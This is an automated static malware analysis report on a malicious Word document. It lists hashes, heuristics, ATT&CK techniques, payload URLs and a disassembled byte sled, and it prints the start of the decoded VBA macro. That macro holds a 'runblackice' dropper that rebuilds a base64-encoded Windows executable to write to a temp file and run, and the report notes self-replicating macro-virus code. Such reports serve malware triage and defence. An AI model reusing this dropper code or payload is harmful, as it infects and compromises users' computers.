Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 b4044ce18d0010d1…

MALICIOUS

Office (OLE)

219.5 KB Created: 2015-04-27 06:35:00 Authoring application: Microsoft Office Word First seen: 2015-10-13
MD5: e5680d8ba1065cdfe70b853758bbd3b0 SHA-1: 7621eec1d71d91413ba9b0683bb3f8f34dd7edda SHA-256: b4044ce18d0010d1d5ef538cfdb7b156f6d7772eae449abe4548f97f065d635a
430 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1105 Ingress Tool Transfer T1204.002 Malicious File

This Office document contains VBA macros that are designed to drop and execute a secondary payload. The 'OLE_VBA_EMBEDDED_PE_DROPPER' heuristic indicates that a Portable Executable (PE) file was decoded from within the VBA code. The 'runblackice' subroutine within the 'macros.bas' script attempts to write this decoded payload to a temporary file and execute it, likely downloading additional stages from the URL 'http://fmtwld.zj.com/blackice/url.txt'.

Heuristics 10

  • ClamAV: Doc.Dropper.BlackIce-6527616-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Dropper.BlackIce-6527616-0
  • VBA macros detected medium 4 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • Potential Shell call in VBA critical OLE_VBA_SHELL
    Potential Shell call in VBA
    Matched line in script
    Shell strTempFileName
  • VBA macro-virus self-replication / AV tampering critical OLE_VBA_MACRO_VIRUS_REPLICATION
    VBA macro programmatically rewrites VBA project code through the VBE object model (CodeModule/VBComponents InsertLines/DeleteLines/AddFromString or OrganizerCopy) to copy itself into the global template and other open documents, and/or disables Office macro-virus protection (Options.VirusProtection = False). This is the defining behavior of the W97M document macro-virus family — self-replicating code with no benign document use, independent of any AV signature.
    Matched line in script
    ret = dcodemodule.insertlines(1, "end sub")
  • Embedded PE decoded from VBA/UserForm payload string critical OLE_VBA_EMBEDDED_PE_DROPPER
    The VBA macro carries a Windows executable encoded as a base64 or hex string — split across macro string literals, or stored in a UserForm control's text (e.g. TextBox1.Text) — and rebuilds it at run time, typically writing it to %ProgramData%/%TEMP% (ADODB.Stream / binary Put) and executing it via WScript.Shell or cmd.exe. The payload is embedded in the document, not downloaded, and never appears as a contiguous executable on disk, so the URL recoverers and the raw embedded-EXE scan miss it. The analyzer decoded it into a valid PE (MZ + DOS stub + PE header); a benign document does not carry an executable in its macro/form strings. The dropped payload has been carved for full extracted-file analysis.
  • Document_Open macro low OLE_VBA_DOCOPEN
    Document_Open macro
    Matched line in script
    ret = dcodemodule.insertlines(1, "private sub document_open()")
  • Heap-spray pattern detected high SC_HEAP_SPRAY
    Repeated 0x41 (A) bytes found
    Disassembly hidden — these bytes score as degenerate, not coherent x86 code (single mnemonic 'inc' is 97% of instructions — a sled or padding/filler run, not program logic).
  • Suspicious extracted artifact high EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
  • NOP-equivalent sled detected medium SC_NOP_EQUIV_SLED
    Long run of 0x41 bytes
    Disassembly
    x86 disassembly · validity: uncertain (0.616) — 6/11 branch targets land on an instruction boundary (55% coherence)
    000058BB  41                inc ecx
    000058BC  41                inc ecx
    000058BD  41                inc ecx
    000058BE  41                inc ecx
    000058BF  41                inc ecx
    000058C0  41                inc ecx
    000058C1  41                inc ecx
    000058C2  41                inc ecx
    000058C3  41                inc ecx
    000058C4  41                inc ecx
    000058C5  41                inc ecx
    000058C6  41                inc ecx
    000058C7  41                inc ecx
    000058C8  41                inc ecx
    000058C9  41                inc ecx
    000058CA  41                inc ecx
    000058CB  41                inc ecx
    000058CC  41                inc ecx
    000058CD  41                inc ecx
    000058CE  41                inc ecx
    000058CF  41                inc ecx
    000058D0  41                inc ecx
    000058D1  41                inc ecx
    000058D2  41                inc ecx
    000058D3  41                inc ecx
    000058D4  41                inc ecx
    000058D5  41                inc ecx
    000058D6  41                inc ecx
    000058D7  41                inc ecx
    000058D8  41                inc ecx
    000058D9  41                inc ecx
    000058DA  41                inc ecx
    000058DB  41                inc ecx
    000058DC  41                inc ecx
    000058DD  41                inc ecx
    000058DE  41                inc ecx
    000058DF  41                inc ecx
    000058E0  41                inc ecx
    000058E1  41                inc ecx
    000058E2  41                inc ecx
    000058E3  41                inc ecx
    000058E4  41                inc ecx
    000058E5  41                inc ecx
    000058E6  41                inc ecx
    000058E7  41                inc ecx
    000058E8  41                inc ecx
    000058E9  41                inc ecx
    000058EA  41                inc ecx
    000058EB  41                inc ecx
    000058EC  45                inc ebp
    000058ED  41                inc ecx
    000058EE  41                inc ecx
    000058EF  41                inc ecx
    000058F0  3466              xor al, 0x66
    000058F2  7567              jne 0x595b
    000058F4  3441              xor al, 0x41
    000058F6  7441              je 0x5939
    000058F8  6e                outsb dx, byte ptr [esi]
    000058F9  4e                dec esi
    000058FA  49                dec ecx
    000058FB  626742            bound esp, qword ptr [edi + 0x42]
    000058FE  54                push esp
    000058FF  4d                dec ebp
    00005900  306856            xor byte ptr [eax + 0x56], ch
    00005903  47                inc edi
    00005904  6870637942        push 0x42796370
    00005909  7763              ja 0x596e
    0000590B  6d                insd dword ptr es:[edi], dx
    0000590C  396e63            cmp dword ptr [esi + 0x63], ebp
    0000590F  6d                insd dword ptr es:[edi], dx
    00005910  46                inc esi
    00005911  7449              je 0x595c
    00005913  47                inc edi
    00005914  4e                dec esi
    00005915  68626d3576        push 0x76356d62
    0000591A  64                .byte 0x64
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://fmtwld.zj.com/blackice/url.txt In document text (OLE body)
    • http://fmtwld.vicp.net/blackice/url.txtIn document text (OLE body)

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 126469 bytes
SHA-256: 206acf5697e037b186b7ec9896c550546c66e54a8b3e190c711d83d624630593
Detection
ClamAV: No threats found
Obfuscation or payload: likely
765 of 2009 identifiers look randomly generated (e.g. 'bW9kdWxlLmluc2VydGxpbmVzKDEsICJydW5ibGFj'); 14 string-concatenation chain(s) — consistent with name-mangling obfuscation. Carved artifact contains 224 long base64-like blob(s).
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
'<!!blackice>
Private Const base64 = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/"
Private Declare Function CreateFile Lib "kernel32" Alias "CreateFileA" (ByVal lpFileName As String, ByVal dwDesiredAccess As Long, ByVal dwShareMode As Long, ByVal lpSecurityAttributes As Long, ByVal dwCreationDistribution As Long, ByVal dwFlagsAndAttributes As Long, ByVal hTemplate As Long) As Long
Private Declare Function CloseHandle Lib "kernel32" (ByVal hObject As Long) As Long
Private Declare Function WriteFile Lib "kernel32" (ByVal hFile As Long, lpBuffer As Byte, ByVal dwNumberOfBytesToWrite As Long, lpNumberOfBytesWritten As Long, ByVal lpOverlapped As Long) As Long
Private Declare Function GetTempPath Lib "kernel32" Alias "GetTempPathA" (ByVal nBufferLength As Long, ByVal lpBuffer As String) As Long
Private Declare Function GetTempFileName Lib "kernel32" Alias "GetTempFileNameA" (ByVal lpPathName As String, ByVal lpPrefixString As String, ByVal uUnique As Long, ByVal lpTempFileName As String) As Long
Private Sub runblackice()
On Error Resume Next
filestring = "TVqQAAMAAAAEAAAA//8AALgAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAEAAA4fug4AtAnNIbgBTM0hVGhpcyBwcm9ncmFtIGNhbm5vdCBiZSBydW4gaW4gRE9TIG1vZGUuDQ0KJAAAAAAAAABFtVy6AdQy6QHUMukB1DLpj8sh6SHUMul6yD7pAtQy6YLIPOkR1DLpN/I46TrUMunC22/pA9Qy6QHUMukJ1DLpV8sh6QXUMuljyyHpDtQy6QHUM+lW1DLpN/I56QTUMunG0jTpANQy6f30IOkA1DLpUmljaAHUMukAAAAAAAAAAFBFAABMAQQARmUHRgAAAAAAAAAA4AAPAQsBBgAAsAAAALAAAAAAAABQaQAAABAAAADAAAAAAEAAABAAAAAQAAAEAAAAAAAAAAQAAAAAAAAAAHABAAAQAAAAAAAAAgAAAAAAEAAAEAAAAAAQAAAQAAAAAAAAEAAAAAAAAAAAAAAA"
filestring = filestring + "VMYAAPAAAAAAYAEAYA0AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAADAAAAUAgAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAALnRleHQAAAB1pQAAABAAAACwAAAAEAAAAAAAAAAAAAAAAAAAIAAAYC5yZGF0YQAAEBIAAADAAAAAIAAAAMAAAAAAAAAAAAAAAAAAAEAAAEAuZGF0YQAAAJx3AAAA4AAAAGAAAADgAAAAAAAAAAAAAAAAAABAAADALnJzcmMAAABgDQAAAGABAAAQAAAAQAEAAAAAAAAAAAAAAAAAQAAAQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
filestring = filestring + "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
filestring = filestring + "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
filestring = filestring + "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
filestring = filestring + "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
filestring = filestring + "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
filestring = filestring + "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
filestring = filestring + "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
filestring = filestring + "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
filestring = filestring + "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAFWL7IPsMI1FHIlF3IN9EAB1CIPI/+kzAQAAx0XkAAAAAMdF6AAAAADHRewAAAAAx0XwAAAAAMdF/P3///+NTfhRaAAEAABqAY1VFFJoKMJAAItFEIsIi1UQUv9RFIlF4IN94AB9CItF4OnfAAAAi0UYg8ABweAEUOh6TgAAg8QE"
filestring = filestring + "iUXUi03UiU30x0XYAAAAAOsJi1XYg8IBiVXYi0XYO0UYfTKLTdyDwRCJTdyLVdyD6hCLRdjB4ASLTfQDyIsCiQGLQgSJQQSLQgiJQQiLUgyJUQzrvYtFGIlF7ItN9IlN5ItVCIPiBIXSdA3HRfABAAAAjUX8iUXoagBqAItNDFGNVeRSZotFCFBoAAgAAGgowkAAi034UYtVEIsCi00QUf9QGIlF4IN94AB9BYtF4Oscx0XcAAAAAItV9IlV0ItF0FDopU0AAIPEBItF4IvlXcNVi+yB7KABAACNRYhQaLzgQAD/FQDCQACJRbiDfbgAfQiDyP/pMAUAAI1NmFFoOMJAAGoEagCNVYhS/xUMwkAAiUW4g324AH0KuP7////pBgUAAGbHRagDAMdFsAAAAACD7BCLxItNqIkIi1WsiVAEi02wiUgIi1W0iVAMagFo4OBAAItFmFBqAGoE6B/+//+DxCSJRbiDfQgAD4W2AAAAjU3oUf8VLMFAAGoAaPzg"
filestring = filestring + "QACLVZhSjUXoUGoC6O/9//+DxBSJRbiDfbgAfQXphgQAAItN8IlNvI1V6FL/FSzBQABqAGgc4UAAi0W8UI1N6FFqAui4/f//g8QUiUW4g324AH0Ri1W8iwKLTbxR/1AI6UEEAABqAGoAaAQBAACNlWD+//9Sav+LRfBQagBqAP8V6MBAAGgo4UAAjY1g/v//UegaTQAAg8QIi1W8iwKLTbxR/1AI6xOLVQhSjYVg/v//UOjpTAAAg8QIjU3oUf8VLMFAAGoAaDThQACLVZhSjUXoUGoC6Cb9//+DxBSJRbiDfbgAfQXpuQMAAItN8IlNhI1V6FL/FSzBQABqAGoAav+NhWD+//9QagBqAP8V7MBAAIlF/ItN/NHhUWoA/xXwwEAAUP8V9MBAAIlF5ItV/FKLReRQav+NjWD+//9RagBqAP8V7MBAAGbHRcAIAItV5FL/FSjBQACJRciD7BCLxItNwIkIi1XEiVAEi03IiUgIi1XMiVAMagFoSOFAAItF"
filestring = filestring + "hFCNTehRagPoc/z//4PEJIlFuItV5FJqAP8V8MBAAFD/FQTBQACDfbgAfQXp8QIAAItF8IlFnI1N6FH/FSzBQABqAGhU4UAAi1WcUo1F6FBqAugp/P//g8QUiUW4g324AH0F6bgCAACLTfCJTfiNVehS/xUswUAAx0WwAQAAAIPsEIvEi02oiQiLVayJUASLTbCJSAiLVbSJUAxqAWho4UAAi0X4UI1N6FFqA+jP+///g8QkiUW4g324AH0F6VwCAACLVfCJVaCNRehQ/xUswUAAagBohOFAAItNoFGNVehSagLomPv//4PEFIlFuIN9uAB9BekgAgAAi0XwiUXQjU3oUf8VLMFAAMdFsAEAAACD7BCL1ItFqIkCi02siUoEi0WwiUIIi020iUoMg+wQi9SLRaiJAotNrIlKBItFsIlCCItNtIlKDGoCaJzhQACLVdBSjUXoUGoC6CL7//+DxDSJRbiDfbgAfQXppQEAAGoAagBoAAEAAI2NZP///1Fq"
filestring = filestring + "/4tV8FJqAGoA/xXowEAAaKjhQACNhWT///9Q6PBJAACDxAiFwHUF6WMBAADHRbABAAAAagBqAGr/i00MUWoAagD/FezAQACJRfyLVfzR4lJqAP8V8MBAAFD/FfTAQACJRaSLRfxQi02kUWr/i1UMUmoAagD/FezAQABmx0XUCACLRaRQ/xUowUAAiUXcg+wQi8yLVaiJEYtFrIlBBItVsIlRCItFtIlBDIPsEIvMi1XUiRGLRdiJQQSLVdyJUQiLReCJQQxqAmi44UAAi03QUWoAagHoJ/r//4PENIlFuItVpFJqAP8V8MBAAFD/FQTBQABqAGjQ4UAAi0WcUGoAagHo+vn//4PEFItN0IsRi0XQUP9SCItNoIsRi0WgUP9SCItN+IsRi0X4UP9SCItNnIsRi0WcUP9SCItNhIsRi0WEUP9SCMdFsP////+D7BCLzItVqIkRi0WsiUEEi1WwiVEIi0W0iUEMagFo3OFAAItNmFFqAGoB6IT5//+DxCSL"
filestring = filestring + "VZiLAotNmFH/UAgzwOsb6XX////pcP///+l3////64Hri+uV65/rneubi+Vdw1WL7IHs5AIAAI2FSP7//1Bo6OFAAP8VAMJAAImFcP7//4O9cP7//wB9CIPI/+nJBgAAjY14/v//UWg4wkAAagRqAI2VSP7//1L/FQzCQACJhXD+//+DvXD+//8AfQq4/v///+mTBgAAZseFYP7//wMAx4Vo/v//AAAAAIPsEIvEi41g/v//iQiLlWT+//+JUASLjWj+//+JSAiLlWz+//+JUAxqAWgM4kAAi4V4/v//UGoAagTomPj//4PEJImFcP7//4N9CAB1cI1N7FH/FSzBQABqAGgo4kAAi5V4/v//Uo1F7FBqAuhm+P//g8QUiYVw/v//g71w/v//AH0F6fYFAABqAGoAaAQBAACNjRz9//9Rav+LVfRSagBqAP8V6MBAAGhA4kAAjYUc/f//UOjORwAAg8QI6xOLTQhRjZUc/f//UuipRwAAg8QIjUXsUP8V"
filestring = filestring + "LMFAAGoAaEziQACLjXj+//9RjVXsUmoC6OP3//+DxBSJhXD+//+DvXD+//8AfQXpcQUAAItF9ImFhP7//4N9CAB1KY2NmP7//1GNlRz9//9S/xWwwEAAiYWA/v//g72A/v///w+VwIhF2OsExkXYAY1N7FH/FSzBQABqAGoAav+NlRz9//9SagBqAP8V7MBAAIlF/ItF/NHgUGoA/xXwwEAAUP8V9MBAAImFWP7//4tN/FGLlVj+//9Sav+NhRz9//9QagBqAP8V7MBAAGbHhYj+//8IAIuNWP7//1H/FSjBQACJhZD+//+LVdiB4v8AAACF0nRmg+wQi8SLjYj+//+JCIuVjP7//4lQBIuNkP7//4lICIuVlP7//4lQDGoBaGDiQACLhYT+//9QjU3sUWoD6Mn2//+DxCSJhXD+//+DvXD+//8AfQXpVQQAAItV9ImVRP7//+mRAAAAagBobOJAAIuFhP7//1CNTexRagPoi/b//4PEFImFcP7//4O9"
filestring = filestring + "cP7//wB9BekVBAAAi1X0iZVE/v//g+wQi8SLjYj+//+JCIuVjP7//4lQBIuNkP7//4lICIuVlP7//4lQDGoBaHTiQACLhUT+//9QjU3sUWoD6Cr2//+DxCSJhXD+//+DvXD+//8AfQXpsgMAAIuVWP7//1JqAP8V8MBAAFD/FQTBQACNRexQ/xUswUAAagBohOJAAIuNRP7//1GNVexSagLo2vX//4PEFImFcP7//4O9cP7//wB9BelgAwAAi0X0iYV8/v//x4Vo/v//AQAAAI1N7FH/FSzBQACD7BCL1IuFYP7//4kCi41k/v//iUoEi4Vo/v//iUIIi41s/v//iUoMagFomOJAAIuVfP7//1KNRexQagPoZfX//4PEJImFcP7//4O9cP7//wB9BenmAgAAi030iY0g/v//jVXsUv8VLMFAAGoAaLTiQACLhSD+//9QjU3sUWoC6CL1//+DxBSJhXD+//+DvXD+//8AfQXpngIAAItV9ImVdP7//4tF"
filestring = filestring + "2CX/AAAAhcAPhNEAAACNTexR/xUswUAAx4Vo/v//AQAAAIPsEIvUi4Vg/v//iQKLjWT+//+JSgSLhWj+//+JQgiLjWz+//+JSgyD7BCL1IuFYP7//4kCi41k/v//iUoEi4Vo/v//iUIIi41s/v//iUoMagJozOJAAIuVdP7//1KNRexQagLodfT//4PENImFcP7//4O9cP7//wB9BensAQAAagBqAGgAAQAAjY0k/v//UWr/i1X0UmoAagD/FejAQABo2OJAAI2FJP7//1DoPUMAAIPECIXAdQXpqgEAAMeFaP7//wEAAABqAGoAav+LTQxRagBqAP8V7MBAAIlF/ItV/NHiUmoA/xXwwEAAUP8V9MBAAImFXP7//4tF/FCLjVz+//9Rav+LVQxSagBqAP8V7MBAAGbHRdwIAIuFXP7//1D/FSjBQACJReSD7BCLzIuVYP7//4kRi4Vk/v//iUEEi5Vo/v//iVEIi4Vs/v//iUEMg+wQi8yLVdyJEYtF"
filestring = filestring + "4IlBBItV5IlRCItF6IlBDGoCaOjiQACLjXT+//9RagBqA+hZ8///g8Q0iYVw/v//i5Vc/v//UmoA/xXwwEAAUP8VBMFAAIO9cP7//wB9BemwAAAAagBoAONAAIuFeP7//1BqAGoB6BXz//+DxBSJhXD+//+LjXT+//+LEYuFdP7//1D/UgiLjSD+//+LEYuFIP7//1D/UgiLjXz+//+LEYuFfP7//1D/UgiLjUT+//+LEYuFRP7//1D/UgiLjYT+//+LEYuFhP7//1D/UghqAGgM40AAi414/v//UWoAagHom/L//4PEFImFcP7//4uVeP7//4sCi414/v//Uf9QCDPA6yXpa////+lm////6WH////pbv///+l7////64vrieuZ65frp+uli+Vdw1WL7IPsRFZXuRAAAAC+GONAAI19vPOlpIN9CAB8D4N9CEB9CYtFCIpEBbzrArA9X16L5V3DVYvsg+w0g30QAHUPi0UMUOiZQgAAg8QEiUUQx0X0"
filestring = filestring + "AAAAAItNDIlN8ItVCIlV/MdF+AAAAADrCYtF+IPAA4lF+ItNEIPpAzlN+A+N7gAAAItV8IsCiUXki03kgeH/AAAAwekCg+E/Uehf////g8QED77QiVXgi0XkJf8AAADB4AbB6AKLTeTB6QiB4f8AAADB6QQLwYPgP1DoLv///4PEBA++0IlV3ItF5MHoCCX/AAAAweAEwegCi03kwekQgeH/AAAAwekGC8GD4D9Q6Pr+//+DxAQPvtCJVeyLReTB6BAl/wAAAMHgAsHoAoPgP1Do1/7//4PEBA++yIlN6ItV3MHiCItF4AvCi03sweEQC8GLVejB4hgLwotN/IkBi1X0g8IEiVX0i0X8g8AEiUX8i03wg8EDiU3w6fr+//+LVfg7VRAPjR0BAACLRRArRfiJRdjHRdAAAAAAx0XUAAAAAOsJi03Ug8EBiU3Ui1XUO1XYfReLRdSLTfCKEYhUBdCLRfCDwAGJRfDr2ItN0IHh/wAAAMHpAoPhP1HoLP7/"
filestring = filestring + "/4PEBItV/IgCi0XQJf8AAADB4AbB6AKLTdDB6QiB4f8AAADB6QQLwYPgP1Do/P3//4PEBItV/IhCAYN92AF+M4tF0MHoCCX/AAAAweAEwegCi03QwekQgeH/AAAAwekGC8GD4D9Q6ML9//+DxASIRc/rBMZFzz2LVfyKRc+IQgKDfdgCfiOLTdDB6RCB4f8AAADB4QLB6QKD4T9R6Iz9//+DxASIRc7rBMZFzj2LVfyKRc6IQgOLTfyDwQSJTfyLVfSDwgSJVfSLRfzGAACLRfSL5V3DVYvsgewQAgAAaFzjQACLRQhQ6DQ/AACDxAhobONAAItNCFHoMz8AAIPECGjI40AAi1UIUugiPwAAg8QIaPjkQACLRQhQ6BE/AACDxAhoUOVAAItNCFHoAD8AAIPECGgY5kAAi1UIUujvPgAAg8QIaKTmQACLRQhQ6N4+AACDxAhodOdAAItNCFHozT4AAIPECGiQ50AAi1UIUui8PgAAg8QIi0UY0eBQagD/"
